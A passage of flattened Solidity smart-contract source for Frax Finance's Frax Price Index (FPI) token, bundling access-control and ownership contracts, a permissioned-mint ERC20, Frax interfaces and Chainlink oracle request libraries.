* * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // File contracts/Staking/Owned.sol // https://docs.synthetix.io/contracts/Owned contract Owned { address public owner; address public nominatedOwner; constructor (address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { require(msg.sender == owner, "Only the contract owner may perform this action"); _; } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } // File contracts/ERC20/ERC20PermissionedMint.sol contract ERC20PermissionedMint is ERC20, ERC20Burnable, Owned { // Core address public timelock_address; // Minters address[] public minters_array; // Allowed to mint mapping(address => bool) public minters; // Mapping is also used for faster verification /* ========== CONSTRUCTOR ========== */ constructor( address _creator_address, address _timelock_address, string memory _name, string memory _symbol ) ERC20(_name, _symbol) Owned(_creator_address) { timelock_address = _timelock_address; } /* ========== MODIFIERS ========== */ modifier onlyByOwnGov() { require(msg.sender == timelock_address || msg.sender == owner, "Not owner or timelock"); _; } modifier onlyMinters() { require(minters[msg.sender] == true, "Only minters"); _; } /* ========== RESTRICTED FUNCTIONS ========== */ // Used by minters when user redeems function minter_burn_from(address b_address, uint256 b_amount) public onlyMinters { super.burnFrom(b_address, b_amount); emit TokenMinterBurned(b_address, msg.sender, b_amount); } // This function is what other minters will call to mint new tokens function minter_mint(address m_address, uint256 m_amount) public onlyMinters { super._mint(m_address, m_amount); emit TokenMinterMinted(msg.sender, m_address, m_amount); } // Adds whitelisted minters function addMinter(address minter_address) public onlyByOwnGov { require(minter_address != address(0), "Zero address detected"); require(minters[minter_address] == false, "Address already exists"); minters[minter_address] = true; minters_array.push(minter_address); emit MinterAdded(minter_address); } // Remove a minter function removeMinter(address minter_address) public onlyByOwnGov { require(minter_address != address(0), "Zero address detected"); require(minters[minter_address] == true, "Address nonexistant"); // Delete from the mapping delete minters[minter_address]; // 'Delete' from the array by setting the address to 0x0 for (uint i = 0; i < minters_array.length; i++){ if (minters_array[i] == minter_address) { minters_array[i] = address(0); // This will leave a null in the array and keep the indices the same break; } } emit MinterRemoved(minter_address); } /* ========== EVENTS ========== */ event TokenMinterBurned(address indexed from, address indexed to, uint256 amount); event TokenMinterMinted(address indexed from, address indexed to, uint256 amount); event MinterAdded(address minter_address); event MinterRemoved(address minter_address); } // File contracts/FPI/FPI.sol // ==================================================================== // | ______ _______ | // | / _____________ __ __ / ____(_____ ____ _____ ________ | // | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ | // | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ | // | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ | // | | // ==================================================================== // ================================ FPI =============================== // ==================================================================== // Frax Price Index // Initial peg target is the US CPI-U (Consumer Price Index, All Urban Consumers) // Frax Finance: https://github.com/FraxFinance // Primary Author(s) // Travis Moore: https://github.com/FortisFortuna // Jack Corddry: https://github.com/corddry // Reviewer(s) / Contributor(s) // Sam Kazemian: https://github.com/samkazemian // Rich Gee: https://github.com/zer0blockchain // Dennis: https://github.com/denett contract FPI is ERC20PermissionedMint { /* ========== CONSTRUCTOR ========== */ constructor( address _creator_address, address _timelock_address ) ERC20PermissionedMint(_creator_address, _timelock_address, "Frax Price Index", "FPI") { _mint(_creator_address, 100000000e18); // Genesis mint } } // File contracts/Frax/IFrax.sol interface IFrax { function COLLATERAL_RATIO_PAUSER() external view returns (bytes32); function DEFAULT_ADMIN_ADDRESS() external view returns (address); function DEFAULT_ADMIN_ROLE() external view returns (bytes32); function addPool(address pool_address ) external; function allowance(address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount ) external returns (bool); function balanceOf(address account ) external view returns (uint256); function burn(uint256 amount ) external; function burnFrom(address account, uint256 amount ) external; function collateral_ratio_paused() external view returns (bool); function controller_address() external view returns (address); function creator_address() external view returns (address); function decimals() external view returns (uint8); function decreaseAllowance(address spender, uint256 subtractedValue ) external returns (bool); function eth_usd_consumer_address() external view returns (address); function eth_usd_price() external view returns (uint256); function frax_eth_oracle_address() external view returns (address); function frax_info() external view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256); function frax_pools(address ) external view returns (bool); function frax_pools_array(uint256 ) external view returns (address); function frax_price() external view returns (uint256); function frax_step() external view returns (uint256); function fxs_address() external view returns (address); function fxs_eth_oracle_address() external view returns (address); function fxs_price() external view returns (uint256); function genesis_supply() external view returns (uint256); function getRoleAdmin(bytes32 role ) external view returns (bytes32); function getRoleMember(bytes32 role, uint256 index ) external view returns (address); function getRoleMemberCount(bytes32 role ) external view returns (uint256); function globalCollateralValue() external view returns (uint256); function global_collateral_ratio() external view returns (uint256); function grantRole(bytes32 role, address account ) external; function hasRole(bytes32 role, address account ) external view returns (bool); function increaseAllowance(address spender, uint256 addedValue ) external returns (bool); function last_call_time() external view returns (uint256); function minting_fee() external view returns (uint256); function name() external view returns (string memory); function owner_address() external view returns (address); function pool_burn_from(address b_address, uint256 b_amount ) external; function pool_mint(address m_address, uint256 m_amount ) external; function price_band() external view returns (uint256); function price_target() external view returns (uint256); function redemption_fee() external view returns (uint256); function refreshCollateralRatio() external; function refresh_cooldown() external view returns (uint256); function removePool(address pool_address ) external; function renounceRole(bytes32 role, address account ) external; function revokeRole(bytes32 role, address account ) external; function setController(address _controller_address ) external; function setETHUSDOracle(address _eth_usd_consumer_address ) external; function setFRAXEthOracle(address _frax_oracle_addr, address _weth_address ) external; function setFXSAddress(address _fxs_address ) external; function setFXSEthOracle(address _fxs_oracle_addr, address _weth_address ) external; function setFraxStep(uint256 _new_step ) external; function setMintingFee(uint256 min_fee ) external; function setOwner(address _owner_address ) external; function setPriceBand(uint256 _price_band ) external; function setPriceTarget(uint256 _new_price_target ) external; function setRedemptionFee(uint256 red_fee ) external; function setRefreshCooldown(uint256 _new_cooldown ) external; function setTimelock(address new_timelock ) external; function symbol() external view returns (string memory); function timelock_address() external view returns (address); function toggleCollateralRatio() external; function totalSupply() external view returns (uint256); function transfer(address recipient, uint256 amount ) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount ) external returns (bool); function weth_address() external view returns (address); } // File contracts/Frax/IFraxAMOMinter.sol // MAY need to be updated interface IFraxAMOMinter { function FRAX() external view returns(address); function FXS() external view returns(address); function acceptOwnership() external; function addAMO(address amo_address, bool sync_too) external; function allAMOAddresses() external view returns(address[] memory); function allAMOsLength() external view returns(uint256); function amos(address) external view returns(bool); function amos_array(uint256) external view returns(address); function burnFraxFromAMO(uint256 frax_amount) external; function burnFxsFromAMO(uint256 fxs_amount) external; function col_idx() external view returns(uint256); function collatDollarBalance() external view returns(uint256); function collatDollarBalanceStored() external view returns(uint256); function collat_borrow_cap() external view returns(int256); function collat_borrowed_balances(address) external view returns(int256); function collat_borrowed_sum() external view returns(int256); function collateral_address() external view returns(address); function collateral_token() external view returns(address); function correction_offsets_amos(address, uint256) external view returns(int256); function custodian_address() external view returns(address); function dollarBalances() external view returns(uint256 frax_val_e18, uint256 collat_val_e18); // function execute(address _to, uint256 _value, bytes _data) external returns(bool, bytes); function fraxDollarBalanceStored() external view returns(uint256); function fraxTrackedAMO(address amo_address) external view returns(int256); function fraxTrackedGlobal() external view returns(int256); function frax_mint_balances(address) external view returns(int256); function frax_mint_cap() external view returns(int256); function frax_mint_sum() external view returns(int256); function fxs_mint_balances(address) external view returns(int256); function fxs_mint_cap() external view returns(int256); function fxs_mint_sum() external view returns(int256); function giveCollatToAMO(address destination_amo, uint256 collat_amount) external; function min_cr() external view returns(uint256); function mintFraxForAMO(address destination_amo, uint256 frax_amount) external; function mintFxsForAMO(address destination_amo, uint256 fxs_amount) external; function missing_decimals() external view returns(uint256); function nominateNewOwner(address _owner) external; function nominatedOwner() external view returns(address); function oldPoolCollectAndGive(address destination_amo) external; function oldPoolRedeem(uint256 frax_amount) external; function old_pool() external view returns(address); function owner() external view returns(address); function pool() external view returns(address); function receiveCollatFromAMO(uint256 usdc_amount) external; function recoverERC20(address tokenAddress, uint256 tokenAmount) external; function removeAMO(address amo_address, bool sync_too) external; function setAMOCorrectionOffsets(address amo_address, int256 frax_e18_correction, int256 collat_e18_correction) external; function setCollatBorrowCap(uint256 _collat_borrow_cap) external; function setCustodian(address _custodian_address) external; function setFraxMintCap(uint256 _frax_mint_cap) external; function setFraxPool(address _pool_address) external; function setFxsMintCap(uint256 _fxs_mint_cap) external; function setMinimumCollateralRatio(uint256 _min_cr) external; function setTimelock(address new_timelock) external; function syncDollarBalances() external; function timelock_address() external view returns(address); } // File contracts/Oracle/AggregatorV3Interface.sol interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } // File @chainlink/contracts/src/v0.8/vendor/[email protected] /** * @dev A library for working with mutable byte buffers in Solidity. * * Byte buffers are mutable and expandable, and provide a variety of primitives * for writing to them. At any time you can fetch a bytes object containing the * current contents of the buffer. The bytes object should not be stored between * operations, as it may change due to resizing of the buffer. */ library BufferChainlink { /** * @dev Represents a mutable buffer. Buffers have a current value (buf) and * a capacity. The capacity may be longer than the current value, in * which case it can be extended without the need to allocate more memory. */ struct buffer { bytes buf; uint256 capacity; } /** * @dev Initializes a buffer with an initial capacity. * @param buf The buffer to initialize. * @param capacity The number of bytes of space to allocate the buffer. * @return The buffer, for chaining. */ function init(buffer memory buf, uint256 capacity) internal pure returns (buffer memory) { if (capacity % 32 != 0) { capacity += 32 - (capacity % 32); } // Allocate space for the buffer data buf.capacity = capacity; assembly { let ptr := mload(0x40) mstore(buf, ptr) mstore(ptr, 0) mstore(0x40, add(32, add(ptr, capacity))) } return buf; } /** * @dev Initializes a new buffer from an existing bytes object. * Changes to the buffer may mutate the original value. * @param b The bytes object to initialize the buffer with. * @return A new buffer. */ function fromBytes(bytes memory b) internal pure returns (buffer memory) { buffer memory buf; buf.buf = b; buf.capacity = b.length; return buf; } function resize(buffer memory buf, uint256 capacity) private pure { bytes memory oldbuf = buf.buf; init(buf, capacity); append(buf, oldbuf); } function max(uint256 a, uint256 b) private pure returns (uint256) { if (a > b) { return a; } return b; } /** * @dev Sets buffer length to 0. * @param buf The buffer to truncate. * @return The original buffer, for chaining.. */ function truncate(buffer memory buf) internal pure returns (buffer memory) { assembly { let bufptr := mload(buf) mstore(bufptr, 0) } return buf; } /** * @dev Writes a byte string to a buffer. Resizes if doing so would exceed * the capacity of the buffer. * @param buf The buffer to append to. * @param off The start offset to write to. * @param data The data to append. * @param len The number of bytes to copy. * @return The original buffer, for chaining. */ function write( buffer memory buf, uint256 off, bytes memory data, uint256 len ) internal pure returns (buffer memory) { require(len <= data.length); if (off + len > buf.capacity) { resize(buf, max(buf.capacity, len + off) * 2); } uint256 dest; uint256 src; assembly { // Memory address of the buffer data let bufptr := mload(buf) // Length of existing buffer data let buflen := mload(bufptr) // Start address = buffer address + offset + sizeof(buffer length) dest := add(add(bufptr, 32), off) // Update buffer length if we're extending it if gt(add(len, off), buflen) { mstore(bufptr, add(len, off)) } src := add(data, 32) } // Copy word-length chunks while possible for (; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes unchecked { uint256 mask = (256**(32 - len)) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } return buf; } /** * @dev Appends a byte string to a buffer. Resizes if doing so would exceed * the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @param len The number of bytes to copy. * @return The original buffer, for chaining. */ function append( buffer memory buf, bytes memory data, uint256 len ) internal pure returns (buffer memory) { return write(buf, buf.buf.length, data, len); } /** * @dev Appends a byte string to a buffer. Resizes if doing so would exceed * the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer, for chaining. */ function append(buffer memory buf, bytes memory data) internal pure returns (buffer memory) { return write(buf, buf.buf.length, data, data.length); } /** * @dev Writes a byte to the buffer. Resizes if doing so would exceed the * capacity of the buffer. * @param buf The buffer to append to. * @param off The offset to write the byte at. * @param data The data to append. * @return The original buffer, for chaining. */ function writeUint8( buffer memory buf, uint256 off, uint8 data ) internal pure returns (buffer memory) { if (off >= buf.capacity) { resize(buf, buf.capacity * 2); } assembly { // Memory address of the buffer data let bufptr := mload(buf) // Length of existing buffer data let buflen := mload(bufptr) // Address = buffer address + sizeof(buffer length) + off let dest := add(add(bufptr, off), 32) mstore8(dest, data) // Update buffer length if we extended it if eq(off, buflen) { mstore(bufptr, add(buflen, 1)) } } return buf; } /** * @dev Appends a byte to the buffer. Resizes if doing so would exceed the * capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer, for chaining. */ function appendUint8(buffer memory buf, uint8 data) internal pure returns (buffer memory) { return writeUint8(buf, buf.buf.length, data); } /** * @dev Writes up to 32 bytes to the buffer. Resizes if doing so would * exceed the capacity of the buffer. * @param buf The buffer to append to. * @param off The offset to write at. * @param data The data to append. * @param len The number of bytes to write (left-aligned). * @return The original buffer, for chaining. */ function write( buffer memory buf, uint256 off, bytes32 data, uint256 len ) private pure returns (buffer memory) { if (len + off > buf.capacity) { resize(buf, (len + off) * 2); } unchecked { uint256 mask = (256**len) - 1; // Right-align data data = data >> (8 * (32 - len)); assembly { // Memory address of the buffer data let bufptr := mload(buf) // Address = buffer address + sizeof(buffer length) + off + len let dest := add(add(bufptr, off), len) mstore(dest, or(and(mload(dest), not(mask)), data)) // Update buffer length if we extended it if gt(add(off, len), mload(bufptr)) { mstore(bufptr, add(off, len)) } } } return buf; } /** * @dev Writes a bytes20 to the buffer. Resizes if doing so would exceed the * capacity of the buffer. * @param buf The buffer to append to. * @param off The offset to write at. * @param data The data to append. * @return The original buffer, for chaining. */ function writeBytes20( buffer memory buf, uint256 off, bytes20 data ) internal pure returns (buffer memory) { return write(buf, off, bytes32(data), 20); } /** * @dev Appends a bytes20 to the buffer. Resizes if doing so would exceed * the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer, for chhaining. */ function appendBytes20(buffer memory buf, bytes20 data) internal pure returns (buffer memory) { return write(buf, buf.buf.length, bytes32(data), 20); } /** * @dev Appends a bytes32 to the buffer. Resizes if doing so would exceed * the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer, for chaining. */ function appendBytes32(buffer memory buf, bytes32 data) internal pure returns (buffer memory) { return write(buf, buf.buf.length, data, 32); } /** * @dev Writes an integer to the buffer. Resizes if doing so would exceed * the capacity of the buffer. * @param buf The buffer to append to. * @param off The offset to write at. * @param data The data to append. * @param len The number of bytes to write (right-aligned). * @return The original buffer, for chaining. */ function writeInt( buffer memory buf, uint256 off, uint256 data, uint256 len ) private pure returns (buffer memory) { if (len + off > buf.capacity) { resize(buf, (len + off) * 2); } uint256 mask = (256**len) - 1; assembly { // Memory address of the buffer data let bufptr := mload(buf) // Address = buffer address + off + sizeof(buffer length) + len let dest := add(add(bufptr, off), len) mstore(dest, or(and(mload(dest), not(mask)), data)) // Update buffer length if we extended it if gt(add(off, len), mload(bufptr)) { mstore(bufptr, add(off, len)) } } return buf; } /** * @dev Appends a byte to the end of the buffer. Resizes if doing so would * exceed the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer. */ function appendInt( buffer memory buf, uint256 data, uint256 len ) internal pure returns (buffer memory) { return writeInt(buf, buf.buf.length, data, len); } } // File @chainlink/contracts/src/v0.8/vendor/[email protected] library CBORChainlink { using BufferChainlink for BufferChainlink.buffer; uint8 private constant MAJOR_TYPE_INT = 0; uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1; uint8 private constant MAJOR_TYPE_BYTES = 2; uint8 private constant MAJOR_TYPE_STRING = 3; uint8 private constant MAJOR_TYPE_ARRAY = 4; uint8 private constant MAJOR_TYPE_MAP = 5; uint8 private constant MAJOR_TYPE_TAG = 6; uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7; uint8 private constant TAG_TYPE_BIGNUM = 2; uint8 private constant TAG_TYPE_NEGATIVE_BIGNUM = 3; function encodeFixedNumeric(BufferChainlink.buffer memory buf, uint8 major, uint64 value) private pure { if(value <= 23) { buf.appendUint8(uint8((major << 5) | value)); } else if (value <= 0xFF) { buf.appendUint8(uint8((major << 5) | 24)); buf.appendInt(value, 1); } else if (value <= 0xFFFF) { buf.appendUint8(uint8((major << 5) | 25)); buf.appendInt(value, 2); } else if (value <= 0xFFFFFFFF) { buf.appendUint8(uint8((major << 5) | 26)); buf.appendInt(value, 4); } else { buf.appendUint8(uint8((major << 5) | 27)); buf.appendInt(value, 8); } } function encodeIndefiniteLengthType(BufferChainlink.buffer memory buf, uint8 major) private pure { buf.appendUint8(uint8((major << 5) | 31)); } function encodeUInt(BufferChainlink.buffer memory buf, uint value) internal pure { if(value > 0xFFFFFFFFFFFFFFFF) { encodeBigNum(buf, value); } else { encodeFixedNumeric(buf, MAJOR_TYPE_INT, uint64(value)); } } function encodeInt(BufferChainlink.buffer memory buf, int value) internal pure { if(value < -0x10000000000000000) { encodeSignedBigNum(buf, value); } else if(value > 0xFFFFFFFFFFFFFFFF) { encodeBigNum(buf, uint(value)); } else if(value >= 0) { encodeFixedNumeric(buf, MAJOR_TYPE_INT, uint64(uint256(value))); } else { encodeFixedNumeric(buf, MAJOR_TYPE_NEGATIVE_INT, uint64(uint256(-1 - value))); } } function encodeBytes(BufferChainlink.buffer memory buf, bytes memory value) internal pure { encodeFixedNumeric(buf, MAJOR_TYPE_BYTES, uint64(value.length)); buf.append(value); } function encodeBigNum(BufferChainlink.buffer memory buf, uint value) internal pure { buf.appendUint8(uint8((MAJOR_TYPE_TAG << 5) | TAG_TYPE_BIGNUM)); encodeBytes(buf, abi.encode(value)); } function encodeSignedBigNum(BufferChainlink.buffer memory buf, int input) internal pure { buf.appendUint8(uint8((MAJOR_TYPE_TAG << 5) | TAG_TYPE_NEGATIVE_BIGNUM)); encodeBytes(buf, abi.encode(uint256(-1 - input))); } function encodeString(BufferChainlink.buffer memory buf, string memory value) internal pure { encodeFixedNumeric(buf, MAJOR_TYPE_STRING, uint64(bytes(value).length)); buf.append(bytes(value)); } function startArray(BufferChainlink.buffer memory buf) internal pure { encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY); } function startMap(BufferChainlink.buffer memory buf) internal pure { encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP); } function endSequence(BufferChainlink.buffer memory buf) internal pure { encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE); } } // File @chainlink/contracts/src/v0.8/[email protected] /** * @title Library for common Chainlink functions * @dev Uses imported CBOR library for encoding to buffer */ library Chainlink { uint256 internal constant defaultBufferSize = 256; // solhint-disable-line const-name-snakecase using CBORChainlink for BufferChainlink.buffer; struct Request { bytes32 id; address callbackAddress; bytes4 callbackFunctionId; uint256 nonce; BufferChainlink.buffer buf; } /** * @notice Initializes a Chainlink request * @dev Sets the ID, callback address, and callback function signature on the request * @param self The uninitialized request * @param jobId The Job Specification ID * @param callbackAddr The callback address * @param callbackFunc The callback function signature * @return The initialized request */ function initialize( Request memory self, bytes32 jobId, address callbackAddr, bytes4 callbackFunc ) internal pure returns (Chainlink.Request memory) { BufferChainlink.init(self.buf, defaultBufferSize); self.id = jobId; self.callbackAddress = callbackAddr; self.callbackFunctionId = callbackFunc; return self; } /** * @notice Sets the data for the buffer without encoding CBOR on-chain * @dev CBOR can be closed with curly-brackets {} or they can be left off * @param self The initialized request * @param data The CBOR data */ function setBuffer(Request memory self, bytes memory data) internal pure { BufferChainlink.init(self.buf, data.length); BufferChainlink.append(self.buf, data); } /** * @notice Adds a string value to the request with a given key name * @param self The initialized request * @param key The name of the key * @param value The string value to add */ function add( Request memory self, string memory key, string memory value ) internal pure { self.buf.encodeString(key); self.buf.encodeString(value); } /** * @notice Adds a bytes value to the request with a given key name * @param self The initialized request * @param key The name of the key * @param value The bytes value to add */ function addBytes( Request memory self, string memory key, bytes memory value ) internal pure { self.buf.encodeString(key); self.buf.encodeBytes(value); } /** * @notice Adds a int256 value to the request with a given key name * @param self The initialized request * @param key The name of the key * @param value The int256 value to add */ function addInt( Request memory self, string memory key, int256 value ) internal pure { self.buf.encodeString(key); self.buf.encodeInt(value); } /** * @notice Adds a uint256 value to the request with a given key name * @param self The initialized request * @param key The name of the key * @param value The uint256 value to add */ function addUint( Request memory self, string memory key, uint256 value ) internal pure { self.buf.encodeString(key); self.buf.encodeUInt(value); } /** * @notice Adds an array of strings to the request with a given key name * @param self The initialized request * @param key The name of the key * @param values The array of string values to add */ function addStringArray( Request memory self, string memory key, string[] memory values ) internal pure { self.buf.encodeString(key); self.buf.startArray(); for (uint256 i = 0; i < values.length; i++) { self.buf.encodeString(values[i]); } self.buf.endSequence(); } } // File @chainlink/contracts/src/v0.8/interfaces/[email protected] interface ENSInterface { // Logged when the owner of a node assigns a new owner to a subnode. event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner); // Logged when the owner of a node transfers ownership to a new account. event Transfer(bytes32 indexed node, address owner); // Logged when the resolver for a node changes. event NewResolver(bytes32 indexed node, address resolver); // Logged when the TTL of a node changes event NewTTL(bytes32 indexed node, uint64 ttl); function setSubnodeOwner( bytes32 node, bytes32 label, address owner ) external; function setResolver(bytes32 node, address resolver) external; function setOwner(bytes32 node, address owner) external; function setTTL(bytes32 node, uint64 ttl) external; function owner(bytes32 node) external view returns (address); function resolver(bytes32 node) external view returns (address); function ttl(bytes32 node) external view returns (uint64); } // File @chainlink/contracts/src/v0.8/interfaces/[email protected] interface LinkTokenInterface { function allowance(address owner, address spender) external view returns (uint256 remaining); function approve(address spender, uint256 value) external returns (bool success); function balanceOf(address owner) external view returns (uint256 balance); function decimals() external view returns (uint8 decimalPlaces); function decreaseApproval(address spender, uint256 addedValue) external returns (bool success); function increaseApproval(address spender, uint256 subtractedValue) external; function name() external view returns (string memory tokenName); function symbol() external view returns (string memory tokenSymbol); function totalSupply() external view returns (uint256 totalTokensIssued); function transfer(address to, uint256 value) external returns (bool success); function transferAndCall( address to, uint256 value, bytes calldata data ) external returns (bool success); function transferFrom( address from, address to, uint256 value ) external returns (bool success); } // File @chainlink/contracts/src/v0.8/interfaces/[email protected] interface ChainlinkRequestInterface { function oracleRequest( address sender, uint256 requestPrice, bytes32 serviceAgreementID, address callbackAddress, bytes4 callbackFunctionId, uint256 nonce, uint256 dataVersion, bytes calldata data ) external; function cancelOracleRequest( bytes32 requestId, uint256 payment, bytes4 callbackFunctionId, uint256 expiration ) external; } // File @chainlink/contracts/src/v0.8/interfaces/[email protected] interface OracleInterface { function fulfillOracleRequest( bytes32 requestId, uint256 payment, address callbackAddress, bytes4 callbackFunctionId, uint256 expiration, bytes32 data ) external returns (bool); function isAuthorizedSender(address node) external view returns (bool); function withdraw(address recipient, uint256 amount) external; function withdrawable() external view returns (uint256); } // File @chainlink/contracts/src/v0.8/interfaces/[email protected] interface OperatorInterface is OracleInterface, ChainlinkRequestInterface { function operatorRequest( address sender, uint256 payment, bytes32 specId, bytes4 callbackFunctionId, uint256 nonce, uint256 dataVersion, bytes calldata data ) external; function fulfillOracleRequest2( bytes32 requestId, uint256 payment, address callbackAddress, bytes4 callbackFunctionId, uint256 expiration, bytes calldata data ) external returns (bool); function ownerTransferAndCall( address to, uint256 value, bytes calldata data ) external returns (bool success); function distributeFunds(address payable[] calldata receivers, uint256[] calldata amounts) external payable; function getAuthorizedSenders() external returns (address[] memory); function setAuthorizedSenders(address[] calldata senders) external; function getForwarder() external returns (address); } // File @chainlink/contracts/src/v0.8/interfaces/[email protected] interface PointerInterface { function getAddress() external view returns (address); } // File @chainlink/contracts/src/v0.8/vendor/[email protected] abstract contract ENSResolver_Chainlink { function addr(bytes32 node) public view virtual returns (address); } // File @chainlink/contracts/src/v0.8/[email protected] /** * @title The ChainlinkClient contract * @notice Contract writers can inherit this contract in order to create requests for the * Chainlink network */ abstract contract ChainlinkClient { using Chainlink for Chainlink.Request; uint256 internal constant LINK_DIVISIBILITY = 10**18; uint256 private constant AMOUNT_OVERRIDE = 0; address private constant SENDER_OVERRIDE = address(0); uint256 private constant ORACLE_ARGS_VERSION = 1; uint256 private constant OPERATOR_ARGS_VERSION = 2; bytes32 private constant ENS_TOKEN_SUBNAME = keccak256("link"); bytes32 private constant ENS_ORACLE_SUBNAME = keccak256("oracle"); address private constant LINK_TOKEN_POINTER = 0xC89bD4E1632D3A43CB03AAAd5262cbe4038Bc571; ENSInterface private s_ens; bytes32 private s_ensNode; LinkTokenInterface private s_link; OperatorInterface private s_oracle; uint256 private s_requestCount = 1; mapping(bytes32 => address) private s_pendingRequests; event ChainlinkRequested(bytes32 indexed id); event ChainlinkFulfilled(bytes32 indexed id); event ChainlinkCancelled(bytes32 indexed id); /** * @notice Creates a request that can hold additional parameters * @param specId The Job Specification ID that the request will be created for * @param callbackAddr address to operate the callback on * @param callbackFunctionSignature function signature to use for the callback * @return A Chainlink Request struct in memory */ function buildChainlinkRequest( bytes32 specId, address callbackAddr, bytes4 callbackFunctionSignature ) internal pure returns (Chainlink.Request memory) { Chainlink.Request memory req; return req.initialize(specId, callbackAddr, callbackFunctionSignature); } /** * @notice Creates a request that can hold additional parameters * @param specId The Job Specification ID that the request will be created for * @param callbackFunctionSignature function signature to use for the callback * @return A Chainlink Request struct in memory */ function buildOperatorRequest(bytes32 specId, bytes4 callbackFunctionSignature) internal view returns (Chainlink.Request memory) { Chainlink.Request memory req; return req.initialize(specId, address(this), callbackFunctionSignature); } /** * @notice Creates a Chainlink request to the stored oracle address * @dev Calls `chainlinkRequestTo` with the stored oracle address * @param req The initialized Chainlink Request * @param payment The amount of LINK to send for the request * @return requestId The request ID */ function sendChainlinkRequest(Chainlink.Request memory req, uint256 payment) internal returns (bytes32) { return sendChainlinkRequestTo(address(s_oracle), req, payment); } /** * @notice Creates a Chainlink request to the specified oracle address * @dev Generates and stores a request ID, increments the local nonce, and uses `transferAndCall` to * send LINK which creates a request on the target oracle contract. * Emits ChainlinkRequested event. * @param oracleAddress The address of the oracle for the request * @param req The initialized Chainlink Request * @param payment The amount of LINK to send for the request * @return requestId The request ID */ function sendChainlinkRequestTo( address oracleAddress, Chainlink.Request memory req, uint256 payment ) internal returns (bytes32 requestId) { uint256 nonce = s_requestCount; s_requestCount = nonce + 1; bytes memory encodedRequest = abi.encodeWithSelector( ChainlinkRequestInterface.oracleRequest.selector, SENDER_OVERRIDE, // Sender value - overridden by onTokenTransfer by the requesting contract's address AMOUNT_OVERRIDE, // Amount value - overridden by onTokenTransfer by the actual amount of LINK sent req.id, address(this), req.callbackFunctionId, nonce, ORACLE_ARGS_VERSION, req.buf.buf ); return _rawRequest(oracleAddress, nonce, payment, encodedRequest); } /** * @notice Creates a Chainlink request to the stored oracle address * @dev This function supports multi-word response * @dev Calls `sendOperatorRequestTo` with the stored oracle address * @param req The initialized Chainlink Request * @param payment The amount of LINK to send for the request * @return requestId The request ID */ function sendOperatorRequest(Chainlink.Request memory req, uint256 payment) internal returns (bytes32) { return sendOperatorRequestTo(address(s_oracle), req, payment); } /** * @notice Creates a Chainlink request to the specified oracle address * @dev This function supports multi-word response * @dev Generates and stores a request ID, increments the local nonce, and uses `transferAndCall` to * send LINK which creates a request on the target oracle contract. * Emits ChainlinkRequested event. * @param oracleAddress The address of the oracle for the request * @param req The initialized Chainlink Request * @param payment The amount of LINK to send for the request * @return requestId The request ID */ function sendOperatorRequestTo( address oracleAddress, Chainlink.Request memory req, uint256 payment ) internal returns (bytes32 requestId) { uint256 nonce = s_requestCount; s_requestCount = nonce + 1; bytes memory encodedRequest = abi.encodeWithSelector( OperatorInterface.operatorRequest.selector, SENDER_OVERRIDE, // Sender value - overridden by onTokenTransfer by the requesting contract's address AMOUNT_OVERRIDE, // Amount value - overridden by onTokenTransfer by the actual amount of 